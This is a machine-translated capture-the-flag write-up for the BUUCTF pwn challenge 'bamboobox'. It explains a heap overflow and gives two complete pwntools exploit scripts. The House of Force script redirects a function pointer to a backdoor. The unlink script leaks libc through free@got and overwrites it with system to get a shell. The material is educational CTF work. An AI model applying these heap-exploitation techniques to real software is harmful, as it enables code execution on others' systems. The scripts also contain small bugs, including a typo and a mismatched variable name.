[BUUCTF]PWN——hitcontraining_bamboobox(House of force+unlink)

hitcontraining_bamboobox

annex

step

  1. Routine inspection, 64-bit program, canary and nx are enabled
    Insert picture description here

  2. Try a local test run to see the approximate execution, the classic stacking menu, and according to the prompts on the first line, it is estimated that there is a back door
    Insert picture description here

  3. 64-bit ida is loaded, guessing that there is a backdoor, the search string really found the backdoor, but according to the habit of buu, generally the flag is in the root directory, this backdoor should not be used much, first remember magic_addr=0x400d49
    Insert picture description here

  4. main() function, it will execute v4[1] when input 5, v4[1] is the address of goodbye_message, if the flag path of the backdoor is correct, you can change the address of goodbye_message to majic through the method of house of force Address, you can get the flag
    Insert picture description here

  5. Analyze the functions of each function
    add()
    Insert picture description here
    edit()
    Insert picture description here
    show()
    Insert picture description here
    free() The
    Insert picture description here
    free function does not have a point of use.

House of Force

Use ideas

  1. Through house of force, move the address of the top chunk to chunk0 where goodbye_messaged is recorded
  2. Apply for chunk again, we will be able to allocate chunk0
  3. Change goodbye_message to magic address
  4. Enter 5 to call v4[1] to get the flag

Utilization process

To realize the migration of the top chunk,
create a chunk first, and debug to find the location of the top chunk

add(0x30,'aaaa')
gdb.attach(p)

Insert picture description here
We can see that the offset from top chunk to chunk 0 is -0x60, using the house of force technique (see ctfwiki for the specific method ). I will briefly talk about this question in conjunction with ctfwiki

The reason for House Of Force is that glibc processes the top chunk. During heap allocation, if all the free blocks cannot meet the demand, then the corresponding size will be divided from the top chunk as the space of the heap block.

First, in glibc, the user request size and the existing size of the top chunk are verified

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

However, if the size can be tampered with to a large value, this verification can be easily passed, so we need a loophole that can control the top chunk size field. Previously analyzed that there is an overflow vulnerability in the edit function, which can be used to modify the size of the top chunk.

The general approach is to change the size of the top chunk to -1, because the size will be converted to an unsigned number 0xffffffffffffffff during the comparison, so -1 is the largest number in unsigned long, so it can be verified anyway.

Let’s take a look at how to do this. Let’s take a look at the memory distribution of chunks.
Insert picture description here
We use the overflow vulnerability of edit to edit chunk0 to modify the size of the top chunk.

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)

The effect is as follows
Insert picture description here

remainder      = chunk_at_offset(victim, nb);
av->top        = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

After that, the top pointer will be updated here, and the next heap block will be allocated to this location. As long as the user controls this pointer, it is equivalent to writing any value at any address (write-anything-anywhere). What we have to do in this question is to update the top pointer to the position of chunk0, so that the value in chunk0 can be rewritten when malloc

At the same time, we need to note that the size of topchunk will also be updated, and the update method is as follows

victim = av->top;
size   = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

Therefore, if we want to allocate a chunk of size x at the specified location next time, we need to ensure that the remainder_size is not less than x + MINSIZE.

In this question, we want to update the pointer of the top chunk to chunk0 and calculate the offset0xfc7000-0xfc7060=-0x60

In addition, the memory size requested by the user becomes an unsigned integer once it enters the function for requesting memory.

void *__libc_malloc(size_t bytes) {

If you want to user input through the internal size of checked_request2sizethis size can be obtained, namely

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

On the one hand, we need to bypass the REQUEST_OUT_OF_RANGE(req) test, that is, the value we pass to malloc is in the range of negative numbers and must not be greater than -2 * MINSIZE. This is generally satisfactory.

On the other hand, after satisfying the corresponding constraints, we need to make request2size exactly converted to the corresponding size, that is, we need to make ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK exactly-60.
First of all, obviously, -60 is chunk-aligned, so we only need to subtract SIZE_SZ and MALLOC_ALIGN_MASK to get the corresponding value that needs to be applied.

I don’t know how many people like me can encounter a lot of exclusive nouns that they have not encountered before when doing heaps. Here are the explanations on size_sze and MALLOC_ALIGN_MASK
from Baidu. First of all, please read glibc from the GNU website. Download the source code and view its malloc.c file.
Insert picture description here
In most cases, the compiler and C library will transparently help you deal with alignment issues. POSIX indicates that the addresses returned by malloc( ), calloc( ), and realloc() are aligned for any C type.
The size of the alignment parameter (MALLOC_ALIGNMENT) needs to meet two characteristics: 1. Must be a power of 2 2. Must be an integer multiple of (void *)
As for why it is required to be an integer multiple of (void *), this is currently my It’s not clear yet, wait for you to find out...
According to this principle, the alignment units in 32-bit and 64-bit are 8 bytes and 16 bytes, respectively.

Therefore, we need to bypass the request2size(req) macro in this question. Here, since -0x60 is 16-byte aligned, we need to subtract SIZE_SZ (0x8) and MALLOC_ALIGN_MASK (0xf)
. The offset of the modified pointer is0xfc7000-0xfc7060-0x8-0xf

After getting the offset, we can migrate the address of the top chunk to chunk0 according to the offset malloc (chunk), and then our malloc can get the address of the original chunk0, so we can rewrite chunk0

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)

Successfully changed the value in chunk0 to the address of magic, and the rest is to enter 5 to call chunk0
Insert picture description here

Full exp

from pwn import *

#p=remote("node3.buuoj.cn",27403)
p=process("./bamboobox")
elf=ELF('./bamboobox')
context.log_level="debug"

def add(length,name):
	p.recvuntil(":")
	p.sendline('2')
	p.recvuntil(':')
	p.sendline(str(length))
	p.recvuntil(":")
	p.sendline(name)
 
def edit(idx,length,name):
	p.recvuntil(':')
	p.sendline('3')
	p.recvuntil(":")
	p.sendline(str(idx))
	p.recvuntil(":")
	p.sendline(str(length))
	p.recvuntil(':')
	p.sendline(name)
 
def free(idx):
	p.revcuntil(":")
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(idx))
 
def show():
	p.recvuntil(":")
	p.sendline("1")
 
magic = 0x400d49
 
add(0x30,'aaaa')
#gdb.attach(p)

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
 
edit(0,0x41,payload)
#gdb.attach(p)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(magic) * 2)
 
#gdb.attach(p)
 
p.interactive()

Insert picture description here
I know that the backdoor given by buu is wrong, this method can be opened locally, if the path of the flag given by the backdoor is correct, it will work.

The wp of other Baidu masters said that unlink can get through the remote.
Reference wp: https://www.cnblogs.com/luoleqi/p/12373298.html

Unlink

Use ideas

  1. Forge a free chunk.
  2. Move the chunk to the memory where the chunk pointer is stored through unlink.
  3. Overwrite the chunk 0 pointer to the address of the free@got table and leak it.
  4. Overwrite the free@got table with the system function address.
  5. The content of the requested chunk is "/bin/sh", call the free function to get the shell.

Utilization process

First, randomly apply for a few chunks to look at the layout.
Generally, the requested chunk is (0x20~0x80). Since malloc's allocation mechanism involves an alignment, I will move to check the size of the allocated chunk every time.

add(0x40,'a'*8 )
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')  #这个是用来后面free的,一开始调试的时候没有写,下面调试堆布局的时候没有这个chunk,影响不大

Insert picture description here

What we have to do is to construct a fake chunk in chunk 0, and set the pointers to ptr-0x18 and ptr-0x10 respectively, and at the same time give the prev_size of chunk 1 the size of the fake chunk, and set the inuse position of size to 0, so that it is free When chunk 1, the program will mistakenly think that the fake chunk is free, which triggers the unlink operation and sets the ptr pointer to ptr-0x18.

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)

Looking at the modified heap layout, combined with the previous picture, we can find that we have forged a fake chunk in chunk0, and
Insert picture description here
then we free the next heap chunk chunk1. Fake_chunk and chunk1 are merged, the fakechunk is unlinked, and the value of G_ptr is modified. After that, the address of chunk0 we edited is no longer the address seen by the parseheap command. Now the address of chunk0 is ptr=0x6020c8-0x18

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload1=p64(0)+p64(0)+p64(0x30)+p64(free_got)
edit(1,len(payload),payload1)

Look at the heap layout. At this time, the content in chunk0 is free@got.
Insert picture description here
First use show to print the free@got address, leak libc, and calculate the address of the system. Change free@got to system. We will apply for one at the beginning. chunk, its content is'/bin/sh', release it to get the shell

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

add(0x20,'/bin/sh\x00')
free(3)

Full exp

from pwn import *
from LibcSearcher import *
#r=process('bamboobox')
r=remote('node3.buuoj.cn',29464)
elf=ELF('bamboobox')
context.log_level="debug"


def add(length,context):
    r.recvuntil("Your choice:")
    r.sendline("2")
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the name of item:")
    r.send(context)

def edit(idx,length,context):
    r.recvuntil("Your choice:")
    r.sendline("3")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))
    r.recvuntil("Please enter the length of item name:")
    r.sendline(str(length))
    r.recvuntil("Please enter the new name of the item:")
    r.send(context)

def free(idx):
    r.recvuntil("Your choice:")
    r.sendline("4")
    r.recvuntil("Please enter the index of item:")
    r.sendline(str(idx))

def show():
    r.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(r)

ptr=0x6020c8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)
fake_chunk+=p64(0x41)
fake_chunk+=p64(fd)
fake_chunk+=p64(bk)
fake_chunk+='\x00'*0x20
fake_chunk+=p64(0x40)
fake_chunk+=p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(r)

free(1)
free_got=elf.got['free']
log.info("free_got:%x",free_got)
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(r)

show()
free_addr=u64(r.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) 
log.info("free_addr:%x",free_addr)
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
log.info("libc_addr:%x",libc_base)
system_addr=libc_base+libc.dump('system')
log.info("system_addr:%x",system_addr)
edit(0,0x8,p64(system_addr))

#gdb.attach(r)


free(3)
r.interactive()

Insert picture description here

Guess you like

Origin blog.csdn.net/mcmuyanga/article/details/114291792